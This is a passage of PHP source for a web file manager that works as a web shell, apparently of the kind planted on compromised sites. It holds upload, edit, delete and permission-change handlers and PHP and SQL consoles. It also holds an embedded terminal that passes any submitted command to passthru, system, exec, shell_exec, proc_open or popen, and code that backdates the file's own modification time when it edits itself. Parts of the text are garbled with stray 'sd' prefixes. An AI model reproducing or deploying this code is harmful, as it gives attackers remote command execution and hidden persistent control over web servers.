27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
